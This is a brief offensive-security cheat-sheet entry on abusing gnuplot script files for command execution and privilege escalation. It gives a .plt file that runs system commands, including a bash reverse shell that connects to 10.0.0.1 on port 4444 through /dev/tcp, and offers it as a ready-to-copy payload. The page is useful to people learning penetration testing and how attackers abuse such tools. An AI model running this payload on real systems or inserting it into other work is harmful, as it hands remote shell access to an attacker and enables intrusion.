Gnuplot Privilege Escalation

gnuplot is a command-line and GUI program that can generate two- and three-dimentional plots of functions, data, and data fits.

Command Execution

The script file of gnuplot can be used to execute system commands as below.

gnuplot test.plt
Copied!

Contents of the .plt is like the following.

system "whoami"

# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
Copied!

References

• http://gnuplot.info/docs_5.5/loc18483.html